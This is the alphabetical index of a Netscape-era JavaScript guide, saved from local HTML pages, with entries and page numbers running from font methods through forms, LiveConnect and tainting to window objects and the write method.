fontcolor method 249 fonts big 196 blinking 197 bold 199 color of 249 fixed 246 italic 297 size of 250 small 416 strikeout 424 subscript 427 superscript 432 FONTSIZE HTML tag 250 fontsize method 250 for loops continuation of 145, 155 sequence of execution 142 syntax of 155 termination of 145, 154 for statement 142-143, 155 for...in statement 147, 156 foreground color 243 form elements type of 451 updating 37 updating dynamically 50 FORM HTML tag 46, 66, 251 Form object 251 See also forms described 52 elements array 52, 234 form property 257 forms ACTION attribute 176, 252 buttons 202 checkboxes 206 defining 251 destination URL 176 element focus 198, 247 element names 328 elements array 52, 234 ENCTYPE attribute 238, 252 FileUpload objects 244 Form object 52, 251
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (9 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

forms array 52, 253 Hidden object 276 METHOD attribute 252, 323 MIME encoding 238, 252 number of elements 301 onSubmit event handler 350 Password objects 362 radio buttons 378 referring to windows in submit 66 reset buttons 387 reset event handler 349 resetting values 387 selection lists 396 submit buttons 428 submitting 427, 428 TARGET attribute 251 target property 436 Text objects 436 Textarea objects 440 validating input 42 forms array 52, 253 forms property See forms array Forward button 258 forward method 258 FRAME HTML tag 51, 66 Frame object 259 See also frames described 51 frames array 261 frames closing 58 creating 59 defined 59 defining 259 example of creation 62-63 figure of 59 Frame object 51, 259 frames array 60, 61, 261 hierarchy of 60 name of, linking to 66 navigating 62 parent 358 referring to 62, 64-66 top 446
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (10 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

updating 61 frames array 60, 61, 261 frames property See frames array FRAMESET HTML tag 59, 259 ftp: (URL syntax) 316 function keyword 33, 118 Function object 265 overview 134 specifying arguments for 266 specifying event handler with 267 as variable value 266 function statement 157 functions 175-473 See also the individual functions arguments array 189 caller property 204 calling 33-35 defined 33 defining 33-35 defining and calling 118-120 escape 239 examples of 43 excess arguments for 120 Function object 134, 265 isNAN 296 isNan 139 number of arguments 301 parseFloat 140, 359 parseInt 140, 360 recursive 119 return values of 160 taint 434 unescape 453 untaint 453 using built in 139-140 using validation 44 as variable value 266 G getDate method 268 getDay method 131, 269 getHours method 133, 269

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (11 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

getMember method (LiveConnect) 168 getMinutes method 133, 270 getMonth method 270 getPeer method (LiveConnect) 172 getSeconds method 133, 271 getSlot method (LiveConnect) 168 getTime method 132, 271 getTimezoneOffset method 272 GetVolume method (LiveAudio) 500 getWindow method (LiveConnect) 172 getWindow static method (LiveConnect) 168 getYear method 272 Go menu 273, 279 go method 53, 273 gopher: (URL syntax) 316 graphics See images H hash property 275 HEAD HTML tag 119 height property 276 Hello World applet example 74, 80 Hidden object 276 history array 279 history list 53 current URL in 220 loading URL from 273 next URL in 258, 334 previous URL in 195, 372 replacing current entry 351, 385 History menu option 273 history object 46, 279 current property 220 described 53 history array 279 next property 334 number of entries 301 previous property 372 history property See history array host property 281 hostname property 282

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (12 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

HREF attribute 85 href property 283 hspace property 285 HTML embedding JavaScript in 27-33 generated 471, 472 and JavaScript 17 HTML layout 49-50 HTML tags A 66, 179, 305 APPLET 184 AREA 305 BIG 196 BLINK 197 BOLD 199 FONTSIZE 250 FORM 46, 66, 251 FRAME 51, 66 FRAMESET 59, 259 HEAD 119 I 297 IMG 85, 286 INPUT 202, 206, 244, 276, 362, 378, 387, 428, 436 MAP 84, 305 NOSCRIPT 33 PRE 36 SCRIPT 27 SELECT 396 SMALL 416 STRIKE 424 SUB 427 SUP 432 TEXTAREA 440 TITLE 48 TT 246 http: (URL syntax) 316 hypertext See links HyperText Markup Language See HTML I I HTML tag 297 identity taint code 92
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (13 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

if...else statement 141, 157 image maps client-side 84 server-side 85 Image object 286 images aborting load of 336 and animation 288 Area object 305 border 201 caching 289 completion of loading 215 error handler for 341 height 276 horizontal space around 285 Image object 286 low resolution source 320 onAbort event handler 336 preloading 289 size of 288 source 421 vertical space around 463 width of 464 images array 289 images property See images array IMG HTML tag 85, 286 increment operator 109 index property 294 indexOf method 295 infinity negative 333 positive 371 init method (LiveConnect) 172 INPUT HTML tag 202, 206, 244, 276, 362, 378, 387, 428, 436 integers, in JavaScript 102 isActive method (LiveConnect) 173 ISMAP attribute 85 isNaN function 296 isNan function overview 139 IsPaused method (LiveAudio) 500 IsPlaying method (LiveAudio) 500 IsReady method (LiveAudio) 500 italics method 297
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (14 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

J Java See also LiveConnect accessing with LiveConnect 72 communication with JavaScript 69-82 compared to JavaScript 26 determining whether enabled 298 enabling and disabling 298 getting JavaScript window handle 78 to JavaScript communication 77 java package 70 java_30 file 71 javaEnabled method 298 JavaScript background for using 17 case sensitivity 27 communication with Java 69-82 compared to Java 26 described 25 embedding in HTML 27-33 entities 32 external file of 30 and HTML layout 49-50 to Java communication 72 LiveWire 24-25 Navigator 23-24 reserved words 485 right-hand evaluation 32 special characters 103 specifying version 27 types of 23 URLs 83 javascript: (URL syntax) 316, 317 join method 298 JSException class 169 JSException constructor (LiveConnect) 170 JSObject class 165 K keywords 485

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (15 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

L LANGUAGE attribute 27 language, specifying 27 lastIndexOf method 299 lastModified property 300 layout, HTML 49-50 left shift operator 111 length property 138, 301 link method 304 Link object 305 See also links Area objects 307 linkColor property 312 links anchors for 179 and areas 305 color of 178, 312, 462 creating 66 defining 304, 305 image maps 85 and images 305 Link object 305 links array 308 referring to windows 66 target 436 with no destination 115 links array 308 links property See links array lists, selection 396 literals Boolean 102 floating point 102 integers 102 overview 101 string 102 LiveAudio 499-504 examples 501 and LiveConnect 499-504 methods 500 LiveConnect 69-82 accessing Java directly 72 accessing JavaScript objects 78 accessing JavaScript properties 78
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (16 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

calling JavaScript methods 79 controlling Java applets 73 controlling Java plug-ins 76 getting a window handle 78 Hello World example 80 and LiveAudio 499-504 packages 165-173 LiveWire applications, validating form input for 42 LiveWire JavaScript See server JavaScript LN10 property 313 LN2 property 313 load event 345 location object 46, 314 described 53 location property 61, 454 log method 318 LOG10E property 319 LOG2E property 319 logarithms base 10 of e 319 base 2 of e 319 base of natural 233, 242 natural logarithm of 10 313 natural logarithm of 2 313 natural logarithm of a number 318 logical operators overview 112 short-circuit evaluation 113 loop statements for 142-143 while 144 loops continuation of 145, 155 for 155 for...in 147, 156 termination of 145, 154 while 161 lowercase 27, 101, 445 lowsrc property 320 M mailto: (URL syntax) 316 MAP HTML tag 84, 305
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (17 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

Math object 321 overview 136 mathematical constants and functions 321 max method 322 MAX_VALUE property 323 MAYSCRIPT attribute 185 messages Alert dialog box 51, 177 Confirm dialog box 51, 216 Prompt dialog box 51, 372 status bar 86 METHOD attribute 49, 252, 323 method property 323 methods 175-473 See also the individual methods defined 35 defining 124 referring to windows 64 summary of 475-483 MIME encoding 238 MIME types client capability 94, 324 configured plug-in for 237 description property 227 name of 451 plug-ins supported 366 suffixes of 432 MimeType object 324 mimeTypes array 94, 325 mimeTypes property See mimeTypes array min method 327 MIN_VALUE property 328 modulo function 109 modulus operator 108 mouseout event 348 mouseOver event 348 N NAME attribute 48 name property 328 NaN property 331 natural logarithms base of 233
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (18 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

e 233 e raised to a power 242 of 10 313 of 2 313 of a number 318 Navigator See also Navigator 2.0, Navigator 3.0 about: (URL syntax) 317 code name of 183 enabling and disabling Java 298 and JavaScript 23, 24 MIME types in 325 MIME types supported 94, 324 name of 187 navigator object 332 plug-ins in 367 plug-ins installed on 365 predefined arrays 54 printing output 37 user agent 455 version of 187 Navigator 2.0 See also Navigator Navigator 3.0 See also Navigator changed functionality 510-512 new functionality 505-510 Navigator JavaScript See client JavaScript navigator object 46, 332 See also Navigator described 54 mimeTypes array 325 plugins array 367 NEGATIVE_INFINITY property 333 Netscape packages See packages netscape.applet package 71 netscape.javascript package 71, 77 netscape.javascript.JSException class 169 netscape.javascript.JSObject class 165 netscape.javascript.Plugin class 171 netscape.plugin package 71 netscape.sun package 71 new operator 113, 121, 158

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (19 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

news: (URL syntax) 316 next property 334 NOSCRIPT HTML tag 33 NS_ENABLE_TAINT environment variable 91 null keyword 106 Number object 335 overview 137 numbers absolute value of 175 arc cosine of 176 arc sine of 193 arc tangent of 194 base of 447 cosine of 219 defining Number objects 335 exponents of 371 greater of two 322 infinite 333, 371 isNAN 296 lesser of two 327 maximum value 323 minimum value 328 natural logarithm of 318 not-a-number value 331 Number object 137, 335 obtaining integer 205, 247 parsing from strings 140, 359, 360 random 382 rounding 391 sine of 415 square root 420, 421 tangent of 435 O object manipulation statements for...in 147 new operator 146 this keyword 147 with statement 148 objects 175-473 See also the individual objects adding properties 123, 374 creating new types 121-123, 158

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (20 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

deleting 126 establishing default 148, 162 focus 198, 247 hierarchy of 45 indexing properties 123 overview 117 primitive value of 461 prototypes 217 specifying names in event handlers 213 summary of 475-483 onAbort event handler 336 onBlur event handler 337 onChange event handler 42, 44, 339 onClick event handler 41, 42, 44, 89, 339 onError event handler 341 onFocus event handler 344 onLoad event handler 133, 345 onMouseOut event handler 86, 348 onMouseOver event handler 86, 348 onReset event handler 349 onSelect event handler 350 onSubmit event handler 44, 350 onUnload event handler 351 open method 51 document object 351 window object 57, 354 opener property 356 operators arithmetic 108-110 assignment 107 bitwise 110-112 comparison 108 defined 105 logical 112 order of 115 overview 106 special 113 string 113 Option object See Select object options array 399 options property See options array output displaying 37
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (21 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

printing 37 output stream closing 212 opening 351 P packages 165-173 java 70 and LiveConnect 70 netscape 70 netscape.applet 71 netscape.javascript 71, 77 netscape.plugin 71 netscape.sun 71 sun 70 using 71 pages objects for 46 updating 37 parent property 64, 358 parse method 132, 359 parseFloat function 100, 359 overview 140 parseInt function 100, 360 overview 140 Password object 362 default value 226 pathname property 364 pause method (LiveAudio) 500 PI property 136, 365 play method (LiveAudio) 500 Plugin class 171 Plugin constructor (LiveConnect) 173 Plugin object 365 See also plug-ins plug-ins controlling with LiveConnect 76 defined 366 description property 227 determining installed 94, 366 file name of 244 generating output from 235 Plugin object 365

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (22 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

refreshing 383 plugins array 95, 367 plugins property See plugins array port property 370 POSITIVE_INFINITY property 371 pow method 371 PRE HTML tag 36 previous property 372 printing generated HTML 37, 472 prompt method 51, 372 properties 175-473 See also the individual properties adding to objects 123, 374 indexing 123 naming 49 overview 117 referring to 47 referring to windows 64 summary of 475-483 protocol property 373 prototype property 374 Q quotation marks for string literals 102 using double 40 using single 40 R radio buttons clicking programmatically 211 default selection state 222 defining 378 number of buttons 301 Radio object 378 selecting programmatically 210 selection state 210 Radio object 378 See also radio buttons number of buttons 301 random method 382 referrer property 382
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (23 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

reflection 49-50 refresh method 383 reload method 383 removeMember method (LiveConnect) 168 replace method 385 reserved words 485 reset buttons See also buttons clicking programmatically 211 defining 387 reset method 387 Reset object 387 reset event 349 reset method 387 Reset object 387 See also reset buttons return statement 34, 160 reverse method 390 RGB color values 487 right shift operators 112 right-hand evaluation 32 round method 391 S SCRIPT HTML tag 27 LANGUAGE attribute 27 SRC attribute 30 scripts example of 30 hiding 29 SCRIPT tag 27 tainting 90-93, 434 untainting 453 scroll method 51, 393 search property 394 security See also tainting closing windows 213 server domain 232 select event 350 SELECT HTML tag 396 select method 395 Select object 396 See also selection lists
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (24 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

options array 399 selected property 407 selectedIndex property 408 selection lists adding options 402 changing option text 400 changing selection state 400 default selection state 223 defining 396 deleting options 402 number of options 301 option index 294 option text 439 options array 399 Select object 396 selection state 407 self property 64, 409 semicolons for event handlers 39 in cookies 87 in JavaScript 30 server JavaScript 24 servers accessing 90-93 domain property 232 sharing properties among 232 setDate method 410 setDay method 131 setHours method 410 setMember method (LiveConnect) 168 setMinutes method 411 setMonth method 411 setSeconds method 412 setSlot method (LiveConnect) 169 setTime method 132, 412 setTimeOut method 51 setTimeout method 134, 413 setvol method (LiveAudio) 500 setYear method 415 sin method 415 sine 415 SMALL HTML tag 416 small method 416 sort method 416 sound
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (25 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

See LiveAudio space characters, in cookies 87 special operators 113 new 113 typeof 114 void 115 split method 419 sqrt method 420 SQRT1_2 property 420 SQRT2 property 421 square roots 420 of 1/2 420 of 2 421 SRC attribute 30 src property 421 start_at_beginning method (LiveAudio) 500 start_time method (LiveAudio) 500 statements 153-163 See also the individual statements break 145 conditional 141-142 continue 145 for...in 147 loop 142-146 object manipulation 146-148 overview 141-149 syntax conventions 153 status bar default message 225 displaying hints 86 displaying messages 52, 86 setting message 423 status property 52, 86, 423 stop method (LiveAudio) 500 stop_at_end method (LiveAudio) 500 StopAll method (LiveAudio) 500 STRIKE HTML tag 424 strike method 424 string literals 102 String object 424 See also strings overview 137 string operators 113 strings ASCII value of 239, 453
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (26 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

blinking 197 bold 199 character position within 206, 295, 299 color of 249 converting from date 445 converting to binary 360 converting to floating point 359 creating from arrays 298 defining 424 evaluating 240 fixed font 246 fontsize of 196, 250, 416 italic 297 length of 301 lowercase 445 splitting into arrays 419 strikeout 424 String object 424 subscript 427 subset of 430 superscript 432 uppercase 451 SUB HTML tag 427 sub method 427 submit buttons See also buttons clicking programmatically 211 defining 428 Submit object 428 submit event 350 submit method 44, 427 Submit object 428 See also submit buttons subscripts 427 substring method 430 subwindows, updating 37 suffixes property 432 sun package 70 SUP HTML tag 432 sup method 432 superscripts 432 syntax conventions 153 T

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (27 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

taint function 434 taintEnabled method 434 tainting 90-93 accumumlator 93 conditional statements and 93 control flow and 93 domain property 232 enabling 91 individual data elements 92 NS_ENABLE_TAINT 91 overview 90 properties tainted by default 90 taint accumulator 93 taint code 92 taint function 434 taintEnabled method 434 untaint function 453 untainting data elements 92 tan method 435 tangent 435 TARGET attribute 66, 251 target property 436 text color 243 Text object 436 default value 226 defining 436 text property 439 TEXTAREA HTML tag 440 Textarea object 440 default value 226 defining 440 this keyword 39, 44, 122, 124, 160 described 147 for object references 125 this.form 257 time zones 272 timeouts canceling 211 setting 413 times See also dates Date object 221 defining 221 hours 269

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (28 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

minutes 270 numeric value 271 seconds 271 time zone offset 272 working with 130 TITLE HTML tag 48 title property 444 toGMTString method 87, 444 toLocaleString method 445 toLowerCase method 445 top property 64, 446 toString method 447 and arrays 449 and Boolean objects 449 built-in 448 and Functions 450 and Numbers 450 user-defined 448 toString method (LiveConnect) 169 toUpperCase method 451 trigonometric methods acos 176 asin 193 atan 194 cos 219 sin 415 tan 435 TT HTML tag 246 type property 451 typeof operator 114 typographical conventions, used in this book 19 U unary negation 109 unescape function 87, 88, 453 unload event 351 untaint function 453 uppercase 27, 101, 451 URLs anchor name in 275 calling document's 382 conventions used 19 current 314, 454

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (29 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

domain 282 entire URL string 283 examples of common 316 form destination 176 form field input 252 history list 279 host 282 hostname:port 281 IP address 282 javascript: 83 loading from history list 273 next 258 port 370 previous 195 protocol 373 query information 394 replacing 385 syntax of 314, 316 url-path 364 user interaction Alert dialog box 177 applets 184 area objects 305 buttons 202 checkboxes 206 Confirm dialog box 216 FileUpload objects 244 image objects 286, 305 link objects 305 Prompt dialog box 372 radio buttons 378 reset buttons 387 selection lists 396 submit buttons 428 Text objects 436 Textarea objects 440 userAgent property 455 UTC method 456 V value property 456 valueOf method 461 values

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (30 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

See data types var statement 101, 161 variables declaring 101, 161 initializing 161 in JavaScript 101 naming 101 scope of 101 syntax for declaring 161 view-source: (URL syntax) 316 vlinkColor property 462 void function 307, 317 void operator 115 vspace property 463 W while loops continuation of 145, 155 syntax of 161 termination of 145, 154 while statement 144, 161 width property 464 window object 46, 464 See also windows described 51 frames array 261 history array 279 methods of 51 window property 470 windows See also documents closed 214 closing 58, 213 default status message 225 defining 354, 464 displaying HTML output in 228 frames 259 frames array 261 giving focus to 67 handles for 78 name of 328 naming 58, 64 navigating among 67 number of frames 301
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (31 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

onLoad event handler 345 onUnload event handler 351 opening 57, 354 overview 57 referring to 64-66 reloading 383 scrolling 393 status bar 225, 423 taint accumulator 93 title 444 top 446 window object 51, 464 writing to 471, 472 with statement 136, 162 described 148 write method 52, 119, 471 example of use 35 generated HTML 471, 472 using 35-37 writeln method 36, 52, 472 See also write method

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (32 of 32) [30/08/2003 9:34:43 PM]

Vous aimerez peut-être aussi